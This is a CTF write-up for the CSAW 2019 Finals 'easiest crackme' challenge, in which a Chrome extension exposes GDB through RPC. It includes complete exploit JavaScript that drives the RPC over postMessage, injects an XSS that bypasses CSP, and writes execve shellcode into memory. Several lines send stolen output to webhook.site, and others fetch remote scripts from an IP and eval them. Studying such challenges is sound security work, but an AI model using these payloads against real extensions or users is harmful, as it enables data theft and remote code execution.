CSAW CTF Finals 2019 - easiest crackme - Web (100,300,300 pt)
easiest crackme
Web - 100pt
http://crackme.web.chal.csaw.io/
http://crackme.web.chal.csaw.io/visit
This was a neat challenge from CSAW CTF Finals. When visiting the /
endpoint for the first time, we are prompted to download and install a chrome extension.
We start looking through the extension source code, and we realize that it essentially acts as a RPC service to execute and debug binaries with GDB.
At the same time, we are looking at the website, and see that it is sending RPC commands to the extension to run and debug the binary.
Our payload for challenge one needs to do the following:
- send message to iframe with
start
RPC with argumentweb2hard
- send
run
RPC - listen for result of
run
RPC, and send it back to us
var frame = window.frames[0];
window.addEventListener("message", function(event) {
console.log("received msg");
console.log(event.data);
if(event.data.output){
fetch('https://webhook.site/1bd4c907-244e-48a8-b2e4-4a6d3906f0c1/'+btoa(event.data.output));
}
});
function sleep(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}
async function payload() {
await sleep(1000);
frame.postMessage({type: "status", id: 0, from: "page"}, "*");
await sleep(1000);
frame.postMessage({type: "start", id: 0, from: "page", args: ["web2hard"]}, "*");
await sleep(1000);
frame.postMessage({type: "run", id: 0, from: "page"}, "*");
await sleep(1000);
}
payload();
Part 2
To read /flag2.txt
inside the extension, we realize that there must be an XSS somewhere inside the extension. There is a debugger
page, which we can navigate the user to via the open_debugger
RPC. The XSS in the debugger page occurs when registers are loaded. It checks to see if any registers are pointers to strings, and if so, loads the string and inserts it into the page without escaping it.
To activate our XSS, we need to find a breakpoint in the binary where our arg1
is in a register, run it, then open the debugger.
However... our last problem is, how do we exfiltrate our data?
Our payload for challenge 2 does the following:
- start debugging the binary with arg1 being our XSS
- set a break point at
*main +69
- run the binary
- navigate to the debugger page
- our XSS gets triggered, and it fetches
/flag2.txt
and sends it back to us
One interesting part here, is that we weren't sure how exactly to go about step 5 at first. Because, the extension has the CSP set to script-src 'self' 'unsafe-eval'; object-src 'self'
, which shouldn't allow unsafe-inline
<script>
tags. However, due to a quirk of jQuery, the CSP gets bypassed.
var frame = window.frames[0];
function sleep(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}
var xss = `<script>fetch('/flag2.txt').then(r=>r.text()).then(r=>{fetch('https://webhook.site/1bd4c907-244e-48a8-b2e4-4a6d3906f0c1/'+btoa(r))});</script>`;
async function payload() {
await sleep(1000);
frame.postMessage({type: "status", id: 0, from: "page"}, "*");
await sleep(1000);
frame.postMessage({type: "start", id: 0, from: "page", args: [xss]}, "*");
await sleep(1000);
frame.postMessage({type: "breakpoint", id: 0, from: "page", addr: "*main+69"}, "*");
await sleep(1000);
frame.postMessage({type: "run", id: 0, from: "page"}, "*");
await sleep(1000);
frame.postMessage({type: "open_debugger", id: 0, from: "page"}, "*");
await sleep(1000);
}
payload();
Part 3
We need to execute /flag3 on the target's machine
- Now that we have an XSS on the debugger page, we can leverage this to execute other previously inaccessible RPC calls.
- We can use the
set
RPC (disguised asflavor
) to execute the set command in GDB (set anything in process memory) - We use a sequence of
set
commands to injectexecve
shellcode into the process, then execute it
var frame = window.frames[0];
window.addEventListener("message", function(event) {
console.log("received msg");
console.log(event.data);
});
function sleep(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}
var xss = `<script>fetch('http://167.172.227.219/debug.php').then(r=>r.text()).then(r=>eval(r));</script>`
async function payload() {
frame.postMessage({type: "status", id: 0, from: "page"}, "*");
await sleep(1000);
frame.postMessage({type: "start", id: 0, from: "page", args: [xss]}, "*");
await sleep(1000);
frame.postMessage({type: "breakpoint", id: 0, from: "page", addr: "*main+69"}, "*");
await sleep(500);
frame.postMessage({type: "run", id: 0, from: "page"}, "*");
await sleep(500);
frame.postMessage({type: "open_debugger", id: 0, from: "page"}, "*");
}
payload();var frame = window.frames[0];
window.addEventListener("message", function(event) {
console.log("received msg");
console.log(event.data);
});
function sleep(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}
var xss = `<script>fetch('http://167.172.227.219/debug.js').then(r=>r.text()).then(r=>eval(r));</script>`
async function payload() {
frame.postMessage({type: "status", id: 0, from: "page"}, "*");
await sleep(1000);
frame.postMessage({type: "start", id: 0, from: "page", args: [xss]}, "*");
await sleep(1000);
frame.postMessage({type: "breakpoint", id: 0, from: "page", addr: "*main+69"}, "*");
await sleep(500);
frame.postMessage({type: "run", id: 0, from: "page"}, "*");
await sleep(500);
frame.postMessage({type: "open_debugger", id: 0, from: "page"}, "*");
}
payload();
var sets = ['{int}(*main+76)=2572696426','{int}(*main+80)=1647295304','{int}(*main+84)=1932488297','{int}(*main+88)=1213399144','{int}(*main+92)=761849737','{int}(*main+96)=1207959651','{int}(*main+100)=3897747081','{int}(*main+104)=11','{int}(*main+108)=1634493999','{int}(*main+112)=1697526631','{int}(*main+116)=1442866552','{int}(*main+120)=3867756631','{int}(*main+124)=4294903055'];
fetch('http://webhook.site/f365e4a6-c649-42e2-bd8f-edf9cd71ad7c/visit');
async function main() {
for (var s of sets) {
await send_message_to_backend({type: 'flavor', uid:uid, flavor: s});
}
var msg = await send_message_to_backend({type:'continue', uid:uid});
fetch('http://webhook.site/f365e4a6-c649-42e2-bd8f-edf9cd71ad7c/'+btoa(msg.output));
}
main();